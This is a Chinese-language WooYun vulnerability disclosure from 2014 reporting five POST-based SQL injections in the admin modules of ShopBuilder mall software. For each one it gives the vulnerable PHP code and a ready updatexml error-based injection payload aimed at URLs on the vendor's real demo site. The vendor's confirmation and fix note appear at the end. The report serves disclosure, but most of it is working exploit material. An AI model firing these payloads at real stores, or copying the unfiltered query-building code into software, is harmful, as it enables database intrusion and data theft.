当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-072830

漏洞标题：ShopBuilder网上商城 post型 sql注入打包 (1~5) 官网demo测试成功

相关厂商：mall-builder.com

漏洞作者： roker

提交时间：2014-09-29 18:48

修复时间：2014-12-28 18:50

公开时间：2014-12-28 18:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-29： 细节已通知厂商并且等待厂商处理中
2014-09-30： 厂商已经确认，细节仅向厂商公开
2014-10-03： 细节向第三方安全合作伙伴开放
2014-11-24： 细节向核心白帽子及相关领域专家公开
2014-12-04： 细节向普通白帽子公开
2014-12-14： 细节向实习白帽子公开
2014-12-28： 细节向公众公开

简要描述：

rt
业界良心，从不刷rank直接打包 /hx

详细说明：

post没有全局过滤
直接注入就好啦~
#1
module/activity/admin/activity_product_list

if(!empty($_POST['chk']))
	{
		@$id=implode(",",$_POST['chk']);
		
		//批量删除
		if($_POST['submit']==$lang['del'] and $id)
		{ 
			$sql="delete from ".ACTIVITYPRODUCT." where product_id in ($id)";
			$db->query($sql);
			$sql="update ".PRO." set promotion_id='0' where id in ($id)";	
			$db->query($sql);
		}


chk没有过滤 分割后赋值给id带入了数据库
post数据 chk[]=1) and 1=updatexml(1,concat(0x5c,(select user())),1)%23
官网测试

1.jpg


(以下就不附图片了 直接贴代码)
#2
module/activity/admin/activity
51行

if($_POST['act']=='op')
		{
			if(is_array($_POST['chk']))
			{
				$id=implode(",",$_POST['chk']);
				$sql="delete from ".ACTIVITY." where id in ($id)";
				$db->query($sql);
				$sql="delete from ".ACTIVITYPRODUCT." where activity_id in ($id)";
				$db->query($sql);
				foreach($_POST['chk'] as $list)
				{
					$db->query("update ".PRO." set promotion_id=0 where promotion_id='$list'");	
				}
			}


act=op时即可注入

http://www.a5shop.cn/?m=activity/admin&s=activity 
post : chk[]=1) and 1=updatexml(1,concat(0x5c,(select user())),1)%23&act=op


#3
module/payment/admin/bank_account_mod

if(isset($_POST["action"]))
{
	if(isset($_POST["result"]))
	{
		$add_time = time();
		if($_POST["result"]==1)
		{
			$sql = "update ".ACCOUNTS." set active=1, check_time='$add_time', censor='$_SESSION[ADMIN_USER]' where id=$_POST[id]";
			$db->query($sql);
		}
	}

result=1且action有值时
即可注入id

http://www.a5shop.cn/?m=payment/admin&s=bank_account_mod
post: id=updatexml(1,concat(0x5c,(select user())),1)%23&action=a&result=1


#4
module/logistics/admin/logistics

else
{
	if($_POST['act'] and is_array($_POST['chk']))
	{
		$id=implode(",",$_POST['chk']);
		if($_POST['act']=='open')
		{
			$db->query("update ".LGSTEMP." set status=1 where id in ($id) ");	
		}
		if($_POST['act']=='close')
		{
			$db->query("update ".LGSTEMP." set status=0 where id in ($id) ");


http://www.a5shop.cn/?m=logistics/admin&s=logistics
post
chk[]=1) and 1=updatexml(1,concat(0x5c,(select user())),1)%23&act=open


#5
module/product/admin/product_comment

if($_POST['act']=='op')
	{
		if(is_array($_POST['chk']))
		{
			$id=implode(",",$_POST['chk']);
			foreach($_POST["chk"] as $val)
			{
				$sql="select * from ".PCOMMENT." where id=$val";
				$db->query($sql);


act = op 时分割chk数组带入val进行了查询

http://www.a5shop.cn/?m=product/admin&s=product_comment
post
chk[]=updatexml(1,concat(0x5c,(select user())),1)%23&act=op


漏洞证明：

1.jpg


修复方案：

过滤

版权声明：转载请注明来源 roker@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2014-09-30 09:14

厂商回复：

新版本已修复

最新状态：

暂无